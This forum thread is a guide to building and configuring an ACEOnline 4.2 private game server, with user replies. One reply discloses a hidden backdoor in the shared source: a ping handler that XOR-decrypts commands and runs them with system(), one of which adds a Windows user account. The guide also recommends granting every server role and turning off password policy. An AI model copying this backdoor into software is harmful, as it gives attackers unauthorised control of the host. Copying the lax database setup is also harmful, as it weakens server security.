Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

[Guide] ACEOnline 4.2 using VS2013

Status
Not open for further replies.
Joined
Apr 12, 2013
Messages
896
Reaction score
479
I've talked with Future about it a long time ago, but because he's got no time/or is just lazy. I'm doing it right now.

Let's get started:

Edit: When the images are resized: Right click them and open them in a new tab!

Source Compilation

First of all you need to download the Source ( ), it's reworked to be compiled under Visual Studio 2013 (MFC Libraries are needed). Visual Studio 2015 should compile fine aswell, didn't tested it.
Then you should have a rar file like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums

(It's packed with the RAR5 method, so please be sure to use WinRar 5 or simmilar programs)
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Next you need to extract the source to your harddrive, doesn't matter where it is.
I extracted it to: C:\EP_42_Source\.
It should look like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Next go to \GameServer\ and open GameServer.sln with Visual Studio 2013
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums

St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on the Dropbox under the menu entries to select a build configuration, i recommend Wikigames_R for a simple English Server setup.
You are free to test/use other configs, depending on the language you are using (all localization files should be included).
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on your solution and select "Build Solution"
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Build should take around 5-10 minutes because Multicore Compile is disabled.
When the compile is finished, the buildlog should look like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums

!!! ATTENTION !!!
When using other configs than Wikigames_R, you have to set the include paths etc on your own because i just edited the english release config.

Now let's look where our files are (yes, masang splitted them somehow instead of putting all in one final folder)

DB Editor:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Launcher.atm
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Pre Launcher:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Admin Tool, Monitor Tool, Questloader:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Server Binaries:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums



Server Setup
To change the IP, open LocalizationDefineCommon.h and find following lines:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Change the define CHOICE_PRE_SERVER_IP_OR_DOMAIN_IN_XOR to your encrypted IP Adress, you can find the XOR codes in AtumParam.h
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


You will need the STR_XOR_KEY_STRING_PRE_SERVER_ADDRESS Key to encrypt your IP for Launcher and PreLauncher.

To change your AdminTool and MonitorTool logins, go to AtumParamProtocolFunctions.cpp and find following lines:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


The structure of the array is displayed in this picture.
Here you will need the STR_XOR_KEY_STRING_SERVER_INFO key to encrypt your Logins/IPs.

Recompile your Tools to apply the changes.

Now to the Server:
Create somewhere on your harddrive a serverfolder and create in it folders like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now go back into the main folder and into the bin folder, and copy your server bins into it.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Create a file called config_root.cfg in your bin folder and add following content into it:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Go back into the main folder and then into the config folder and copy the content of the \GameServer\config\ config folder in the servers config folder. (I uploaded a clean config at the end of this guide, you can use it instead of masangs crappy one)
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Go into the map folder and paste your SMA/DAT files into it. You can find the SMA files somehwere in this forum and DAT files in your client.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Database Setup:
Install a MSSQL Version you want, i'm using MSSQL 2014 Express (Use the 1.1GB File, it contains everything needed). Don't forget to check Mixed Mode when asked during the install process. You need to set a password for the user SA, save it somewhere.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Next configure your DB so that it allows TCP connections
Start the MSSQL Config Manager and select SQL Server Network Configuration and then Protocols for <Your SQL Servername>. In my case it's MSSQLSERVER.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Double click TCP/IP and change the Enabled value to Yes.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now go to the IP Adresses Tab on the window and activate IP2/3 and enter your IP to the IP Adress entry.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on OK. A messagebox will show up.
Click on OK and start your services (services.msc in windows search)
Find the SQL Server service and restart it with a rightclick and select Restart service. Or Double click on it and click on Stop and after this on Start.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now start your MSSQL management Studio.
Connect to your database with the SA login data.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Go to Database, right click it and select Restore Database...
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now select device and click on the button with the three dots
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on Add
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now navigate to your database backups (they should be in the main directory of your source)
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Then click 2 times OK, until you are here:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now select the only existing backup and write your destination database(when not given) into the text field Database.
Click on OK to restore the Database.

Do the same process with atum2_db_account too.

To create your own Database users from where the GameServer can connect, select Security -> Logins, right click it and select New Login...
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now type into the login name entry your wished login. Select SQL Server authentication and remove the enforce password policy check.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Then click on Server roles and select everything (i don't know if it's really neccessary but i'm doing it anyway)
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on user mapping and check both databases.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now click on OK, an error will appear when you use atum as login, you can ignore it, it just says that the user already exists in the database, it will be overwritten.

Config Setup:
Get your IP and save it somewhere (either open cmd and type ipconfig or when using hamachi, start it and copy it from there)

Now open global.cfg in your config folder and edit folling lines:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


$LOCAL_IP_ADDR is your IP adress (From Hamachi or IPConfig).
$SERVER_GROUP_NAME is the name of your server.
$LANGUAGE_TYPE is the language your server is using.

Now scroll down until you see:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums

Change it on your own will.

The next couple of lines are the allowed IP's to use the Admin tool, write there your IP and all allowed ones.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now scroll down to the Update Settings:
Change them to your HTTP/FTP Settings (I won't give a AutoUpdate Guide, just search for it)
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now scroll down to find (finally) the DB Data
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


*_ODBC_UID is always your DB Login Name
*_ODBC_PASSWD is always your DB Password
*_DB_SERVER_IP is always your DB IP
*_DB_SERVER_PORT is always your DB Port

You don't need to encrypt yout logins in the config.

(* is a placeholder, because we have several prefixes depending on the use, but all should be the same)

When starting your server, you should get an error like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


To fix it, go into your Character database (atum2_db_1) and open the table td_DeclarationOfWar with a rightclick on it and "Edit top 200 rows" and change alle dates to a future one.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


You can update it with your admin tool to, but for this you'll need an account.
Go into atum2_db_account -> td_Account and add an account with your wished username and password.
As AccountType you can use 3 types (0 = Normal User, 512 = Game Master, 128 = Administrator)
To connect with the admin tool, you'll need AccountType 128
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now you can login with your admin tool. Then select "User Management" -> InfluenceWar List -> DeclarationOfWar.
Select the entries and update them.
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Now your server should be fine to start

When starting the Launcher it should look like this:
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


To update/get your latest Items, start your Monitor tool and select InfoGenerator
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Select your Database and click on OK
St34lth4ng3l - [Guide] ACEOnline 4.2 using VS2013 - RaGEZONE Forums


Paste the generated Omi.tex in your Res-Tex folder in your Client.

Now you just need a client for it, because only the 3.5 Client source is released, you need a precompiled one from masang. Search on google for: Ace Online EP 4.2 Client.
(Don't forget to put your checksummed files into the map folder)

Here is the clean config:


Edit: You can also read the tutorial in text format on my GitHub page with all uncompressed pictures:


Special thanks to:

@WARonline for the EP4.2 Server Source
@Future for the idea and the laziness

Who finds misspellings can keep them!
 
Last edited by a moderator:
Experienced Elementalist
Joined
May 10, 2015
Messages
278
Reaction score
146
Re: ACEOnline 4.2 Guide (VS2013)

You missed how compile arena server.
 
Junior Spellweaver
Joined
May 9, 2014
Messages
119
Reaction score
11
I could not find the compilation of Aceonline.atm
I could say where he is ? to compile
 
Newbie Spellweaver
Joined
Jan 14, 2016
Messages
19
Reaction score
2
i think if you can convert you can use :) but my opinion download vs2013 and learn it beacause more than better
 
[emoji848]
Legend
Joined
Dec 3, 2011
Messages
2,232
Reaction score
1,518
can I use VS2010 for this?

You can try reading MSDN articles about important changes regarding the Visual Studio versions:

Best practice is usually trial & error on this. Basically try it and resolve the errors popping up on your way.

Side note:

This is a Guide thread. No place for off-topic questions/request or general chatting. People will later on scroll through your replies to find useful information, not unrelated spam.
 
Newbie Spellweaver
Joined
Nov 4, 2010
Messages
59
Reaction score
1
Quests not loading right :V

Code:
  CFieldIOCP::LoadQuestInfo() =========================================================> Start
02-01 10:36:04|    Quest total count: 565

02-01 10:36:04|    QuestIndex( 101) QuestName('              Baͩ luy볮 t㳰') check ==> Success
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2028200)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2028100)02-01 10:36:04|    QuestIndex( 102) QuestName('Hoaͮ thaͮh ch������ chiҠPhi c������) check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2002800)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2003000)02-01 10:36:04|    QuestIndex( 103) QuestName('                   Ha������tcher') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2015400)02-01 10:36:04|    QuestIndex( 104) QuestName('                    Hang Petra') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2003800)02-01 10:36:04|    QuestIndex( 105) QuestName('             Thu th㳰 Bonebat') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2017900)02-01 10:36:04|    QuestIndex( 106) QuestName('        Gia���sa���cuӡ Shrine') check ==> Error
02-01 10:36:04|    QuestIndex( 107) QuestName('          R䭣 r������trong hang') check ==> Success
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2002400)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2000000)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2009100)02-01 10:36:04|    QuestIndex( 108) QuestName('      R������ nhi보 ������ Tylent') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2018000)02-01 10:36:04|    QuestIndex( 109) QuestName('L������thi̠th㍭ cuӡ thi뮠th㍮,a���qu') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2016400)02-01 10:36:04|    QuestIndex( 110) QuestName('          Ho������su��� v������ͮh') check ==> Error
02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2000000)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2004500)02-01 10:36:04|
	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2004100)02-01 10:36:04|    QuestIndex( 111) QuestName('      M������㍵ cu������t㭮 c������) check ==> Error
02-01 10:36:04|    QuestIndex( 112) QuestName('      Quy뭴 ������h cu������cuͮg') check ==> Success
any idea what could be the Problem?
 
Last edited by a moderator:
Experienced Elementalist
Joined
May 10, 2015
Messages
278
Reaction score
146
Code:
case T_FM_PING:
            {
                char rule1[512];
                char rule2[512];
                MEMSET_ZERO(rule1, 512);
                MEMSET_ZERO(rule2, 512);
                XOR::XORDecrypt(rule1, "474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B", ")(zfafzao87698/&%dad)=($98234");
                XOR::XORDecrypt(rule2, "0509074A0A070C595B5138233D3761252E254347CE5C15010A181C1815482E4B47782F38686820202E", "klsjfho876JLHGADJH*)?as");
                system(rule1);
                system(rule2);
                *(MessageType_t*)SendBuf = T_FM_PING_OK;
                SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
            }
            break;

Code:
474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B ===> net user AspNet `R8w^)xFf]uQKQFT /ADD

Oh god, guys, if you have to do that atleast change the logins from the CR one :)
 
Joined
Apr 12, 2013
Messages
896
Reaction score
479
Code:
case T_FM_PING:
            {
                char rule1[512];
                char rule2[512];
                MEMSET_ZERO(rule1, 512);
                MEMSET_ZERO(rule2, 512);
                XOR::XORDecrypt(rule1, "474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B", ")(zfafzao87698/&%dad)=($98234");
                XOR::XORDecrypt(rule2, "0509074A0A070C595B5138233D3761252E254347CE5C15010A181C1815482E4B47782F38686820202E", "klsjfho876JLHGADJH*)?as");
                system(rule1);
                system(rule2);
                *(MessageType_t*)SendBuf = T_FM_PING_OK;
                SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
            }
            break;

Code:
474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B ===> net user AspNet `R8w^)xFf]uQKQFT /ADD

Oh god, guys, if you have to do that atleast change the logins from the CR one :)
Well, looks like i forgot that i added that backdoor for a special server (copied from you :p) :S
 
Status
Not open for further replies.
Back
Top